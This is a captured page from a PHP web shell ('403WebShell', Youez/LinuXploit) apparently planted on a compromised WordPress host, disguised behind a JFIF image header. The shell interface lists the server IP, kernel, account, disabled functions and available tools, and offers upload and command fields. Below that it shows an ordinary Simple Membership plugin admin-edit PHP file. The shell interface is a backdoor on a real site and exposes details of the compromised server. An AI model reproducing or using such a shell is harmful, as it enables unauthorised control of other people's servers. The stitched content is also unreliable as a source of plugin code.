????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/simple-membership/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/simple-membership/views//admin_edit_v2.php
<?php
//This file is used to edit member's profile from the admin dashboard of the plugin.

$form_id = "swpm-edit-user";
$member_id = filter_input(INPUT_GET, 'member_id', FILTER_SANITIZE_NUMBER_INT);
SimpleWpMembership::enqueue_validation_scripts_v2(
    "swpm-profile-form-validator",
    array(
        'query_args' => array(
            'member_id' => $member_id,
            'nonce' => wp_create_nonce('swpm-rego-form-ajax-nonce'),
        ),
        'form_id' => $form_id,
    )
);

$is_attached_subscription_canceled = SwpmMemberUtils::get_subscription_data_extra_info($member_id, 'subscription_status') === 'inactive';

//Get the current expiry date based on the membership level of this member.
$member_current_expiry_date = SwpmMemberUtils::get_formatted_expiry_date_by_user_id($member_id);
?>
<div class="wrap" id="swpm-profile-page" type="edit">
    <form action="" method="post" name="swpm-edit-user" id="<?php echo $form_id ?>" enctype="multipart/form-data" class="swpm-form" <?php do_action('user_new_form_tag'); ?>>
        <input name="action" type="hidden" value="edituser" />
        <?php wp_nonce_field('edit_swpmuser_admin_end', '_wpnonce_edit_swpmuser_admin_end') ?>
        <h3>
            <?php _e('Edit Member', 'simple-membership') ?>
        </h3>
        <p>
            <?php _e('Edit existing member details.', 'simple-membership'); ?>
            <?php _e(' You are currently editing member with member ID: ', 'simple-membership'); ?>
            <?php echo esc_attr($member_id); ?>
        </p>
        <table class="form-table">
            <tr class="form-field form-required swpm-form-row swpm-username-row">
                <th scope="row"><label for="user_name"><?php _e('Username', 'simple-membership'); ?> <span class="description"><?php _e('(required)', 'simple-membership'); ?></span></label></th>
                <td>
                    <?php
                    if (empty($user_name)) {
                        //This is a record with incomplete registration. The member need to complete the registration by clicking on the unique link sent to them
                    ?>
                        <div class="swpm-yellow-box" style="max-width:450px;">
                            <p>This user account registration is not complete yet. The member needs to click on the unique registration completion link (sent to his email) and complete the registration by choosing a username and password.</p>
                            <br />
                            <p>You can go to the <a href="admin.php?page=simple_wp_membership_tools" target="_blank">Tools Interface</a> and generate another unique "Registration Completion" link then send the link to the user. Alternatively, you can use that link yourself and complete the registration on behalf of the user.</p>
                            <br />
                            <p>If you suspect that this user has lost interest in becoming a member then you can delete this member record.</p>
                        </div>
                    <?php
                    } else {
                        echo esc_attr($user_name);
                    }
                    ?>
                </td>
            </tr>
            <tr class="form-required swpm-form-row swpm-email-row">
                <th scope="row"><label for="email"><?php _e('E-mail', 'simple-membership'); ?> <span class="description"><?php _e('(required)', 'simple-membership'); ?></span></label></th>
                <td>
                    <input name="email" autocomplete="off" class="swpm-form-field swpm-form-email regular-text" type="text" id="email" value="<?php echo esc_attr($email); ?>" />
                    <div class="swpm-form-desc"></div>
                </td>
            </tr>

            <tr class="swpm-form-row swpm-password-row">
                <th scope="row"><label for="password"><?php _e('Password', 'simple-membership'); ?> <span class="description"><?php _e('(twice, leave empty to retain old password)', 'simple-membership'); ?></span></label></th>
                <td>
                    <input class="swpm-form-field swpm-form-password regular-text" name="password" type="password" id="pass1" autocomplete="off" />
                    <div class="swpm-form-desc"></div>
                </td>
            </tr>
            <tr class="swpm-form-row swpm-repass-row">
                <th scope="row"></th>
                <td style="padding-top: 0;">
                    <input class="swpm-form-field swpm-form-repass regular-text" name="password_re" type="password" id="pass2" autocomplete="off" placeholder="<?php _e('Retype password', 'simple-membership') ?>" />
                    <div class="swpm-form-desc"></div>
                    <div id="pass-strength-result"></div>
                    <p class="description indicator-hint"><?php _e('Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? $ % ^ &amp; ).', 'simple-membership'); ?></p>
                </td>
            </tr>

            <tr class="swpm-form-row swpm-account-state-row">
                <th scope="row"><label for="account_state"><?php _e('Account Status', 'simple-membership'); ?></label></th>
                <td>
                    <select class="regular-text" name="account_state" id="account_state">
                        <?php echo  SwpmUtils::account_state_dropdown($account_state); ?>
                    </select>
                    <p class="description">
                        <?php _e("This is the member's account status. If you want to manually activate an expired member's account then read", 'simple-membership'); ?>
                        <a href="https://simple-membership-plugin.com/manually-activating-expired-members-account/" target="_blank"><?php _e("this documentation"); ?></a>
                        <?php _e(" to learn how to do it.", 'simple-membership'); ?>
                    </p>
                </td>
            </tr>
            <tr class="swpm-form-row swpm-notify-user-row">
                <th scope="row"><label for="account_state_change"><?php _e('Notify User', 'simple-membership'); ?></label></th>
                <td><input type="checkbox" id="account_status_change" name="account_status_change" />
                    <p class="description indicator-hint">
                        <?php _e("You can use this option to send a quick notification email to this member (the email will be sent when you hit the save button below).", 'simple-membership'); ?>
                    </p>
                </td>
            </tr>
            <tr class="swpm-form-row swpm-membership-level-row">
                <th scope="row"><label for="membership_level"><?php _e('Membership Level', 'simple-membership'); ?></label></th>
                <td>
                    <?php
                    //This is an edit member record view. Check that the membershp level is set.
                    if (!isset($membership_level) || empty($membership_level)) {
                        //The member's membership level is not set. Show an error message.
                        echo '<div class="swpm-yellow-box" style="max-width:450px;">';
                        echo '<p>' . 'Error! This user\'s membership level is not set. Please select a membership level and save the record.' . '</p>';
                        echo '<p>';
                        echo 'If member accounts are created without a level, that indicates a problem in your setup. Please review your ';
                        echo '<a href="https://simple-membership-plugin.com/membership-registration-process-overview/" target="_blank">registration setup</a>.';
                        echo '</p>';
                        echo '</div>';
                    }
                    ?>
                    <select class="regular-text" name="membership_level" id="membership_level">
                        <?php
                        if (!isset($membership_level) || empty($membership_level)) {
                            echo '<option value="2">--</option>'; //Show select prompt and set the action value to the default level ID.
                        }
                        ?>
                        <?php foreach ($levels as $level) : ?>
                            <option <?php echo ($level['id'] == $membership_level) ? "selected='selected'" : ""; ?> value="<?php echo $level['id']; ?>"> <?php echo $level['alias'] ?></option>
                        <?php endforeach; ?>
                    </select>
                </td>
            </tr>
            <?php include('admin_member_form_common_part.php'); ?>
            <tr class="swpm-form-row swpm-subscriber-id-row">
                <th scope="row"><label for="subscr_id"><?php _e('Subscriber ID/Reference', 'simple-membership') ?> </label></th>
                <td><input class="regular-text" name="subscr_id" type="text" id="subscr_id" value="<?php echo esc_attr($subscr_id); ?>" /></td>
            </tr>

            <?php if ($is_attached_subscription_canceled) { ?>
            <tr class="swpm-form-row swpm-subscription-status-row">
                <th scope="row"><label for="subscr_id"><?php _e('Subscription Payment Status', 'simple-membership') ?> </label></th>
                <td>
                    <span style="color: #CC0000">
                        <b><?php _e('Canceled or Expired', 'simple-membership') ?></b>
                    </span>
                    <p class="description">
                        <?php _e('The subscription associated with this member profile has been canceled or expired. The member may purchase a new subscription when needed.', 'simple-membership') ?>
                        <?php _e(' The account will expire based on the membership level settings. To learn more about the membership level settings, refer to ', 'simple-membership') ?>
                        <a href="https://simple-membership-plugin.com/adding-membership-access-levels-site/" target="_blank"><?php _e('this documentation', 'simple-membership') ?></a>.
                    </p>
                </td>
            </tr>
	        <?php } ?>

            <tr class="swpm-form-row swpm-expiry-date-row">
                <th scope="row"><label for="member_expiry_date"><?php _e('Expiry Date', 'simple-membership') ?> </label></th>
                <td>
                    <?php
                    echo esc_attr($member_current_expiry_date);
                    ?>
                    <p class="description indicator-hint">
                        <?php
                        _e('This is calculated based on the current membership level assigned to this member and the expiry condition that you have set for that membership level.', 'simple-membership');
                        _e(' To learn more about membership level configuration, refer to ', 'simple-membership');
                        _e('<a href="https://simple-membership-plugin.com/adding-membership-access-levels-site/" target="_blank">this documentation</a>.', 'simple-membership');
                        ?>
                    </p>
                </td>
            </tr>
            <tr class="swpm-form-row swpm-last-accessed-row">
                <th scope="row"><label for="last_accessed"><?php _e('Last Accessed Date', 'simple-membership') ?> </label></th>
                <td>
                    <?php echo esc_attr($last_accessed); ?>
                    <p class="description indicator-hint"><?php _e('This value gets updated when this member logs into your site.', 'simple-membership') ?></p>
                </td>
            </tr>
            <tr class="swpm-form-row swpm-accessed-ip-row">
                <th scope="row"><label for="last_accessed_from_ip"><?php _e('Last Accessed From IP', 'simple-membership') ?> </label></th>
                <td>
                    <?php echo esc_attr($last_accessed_from_ip); ?>
                    <p class="description indicator-hint"><?php _e('This value gets updated when this member logs into your site.', 'simple-membership') ?></p>
                </td>
            </tr>
            <?php if (isset($extra_info) && !empty($extra_info)) { ?>
                <!-- This system related extra info row is hidden by default to reduce clutter. -->
                <tr class="swpm-form-row swpm-any-extra-info-row">
                    <th scope="row"><label for="extra_info"><?php _e('System-Related Additional Data', 'simple-membership') ?> </label></th>
                    <td class="spwm-system-info-td">
                        <a href="#" onclick="document.getElementById('swpm-system-info-value').classList.toggle('swpm-hidden'); return false;"><?php _e('Show/Hide Data', 'simple-membership'); ?></a>
                        <?php 
                        $unserialized_extra_info = maybe_unserialize($extra_info);
                        echo '<div id="swpm-system-info-value" class="swpm-hidden">';
                        print_r($unserialized_extra_info);
                        echo '</div>';
                        //echo esc_attr($extra_info); 
                        ?>
                        <p class="description indicator-hint"><?php _e('The plugin saves this information for system purposes for some profiles. There is no need for you to take any action regarding this value.', 'simple-membership') ?></p>
                    </td>
                </tr>
            <?php } ?>
        </table>

        <?php include('admin_member_form_common_js.php'); ?>
        <?php echo apply_filters('swpm_admin_custom_fields', '', $membership_level); ?>
        <input type="hidden" name="editswpmuser" value="Save Data">
        <?php submit_button(__('Save Data', 'simple-membership'), 'primary', null, true, array('id' => 'createswpmusersub')); ?>
        <?php
        $delete_swpmuser_nonce = wp_create_nonce('delete_swpmuser_admin_end');
        $member_delete_url = "?page=simple_wp_membership&member_action=delete&member_id=" . $member_id . "&delete_swpmuser_nonce=" . $delete_swpmuser_nonce;
        echo '<div class="swpm-admin-delete-user-profile-link">';
        echo '<a style="color:red;font-weight:bold;" href="' . $member_delete_url . '" onclick="return confirm(\'Are you sure you want to delete this user profile?\')">' . __('Delete User Profile', 'simple-membership') . '</a>';
        echo '</div>';
        ?>
    </form>
    <style>
        form.swpm-form .swpm-submit-section {
            margin-top: 12px;
        }

        form.swpm-form .swpm-form-row.error .swpm-form-field {
            border-color: #cc0000 !important;
            outline-color: #cc0000 !important;
        }

        form.swpm-form .swpm-form-row.error .swpm-form-desc {
            color: #cc0000 !important;
            font-size: smaller !important;
            /* margin-bottom: -18px; */
        }

        form.swpm-form .swpm-form-row .swpm-form-desc .pass-strength-result {
            margin-bottom: 0 !important;
        }

        form.swpm-form .swpm-form-row.error .swpm-form-desc>ul {
            list-style: none !important;
            padding: 0 !important;
            margin: 4px 0 0 !important;
        }
    </style>
</div>
<script>
    jQuery(document).ready(function($) {
        $('#account_status_change').change(function() {
            var target = $(this).closest('tr');
            var $body = '<textarea rows="5" cols="60" id="notificationmailbody" name="notificationmailbody">' + SwpmSettings.statusChangeEmailBody + '</textarea>';
            var $head = '<input type="text" size="60" id="notificationmailhead" name="notificationmailhead" value="' + SwpmSettings.statusChangeEmailHead + '" />';
            var content = '<tr><th scope="row">Mail Subject</th><td>' + $head + '</td></tr>';
            content += '<tr><th scope="row">Mail Body</th><td>' + $body + '</td></tr>';
            if (this.checked) {
                target.after(content);
            } else {
                if (target.next('tr').find('#notificationmailhead').length > 0) {
                    target.next('tr').remove();
                    target.next('tr').remove();
                }
            }
        });
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit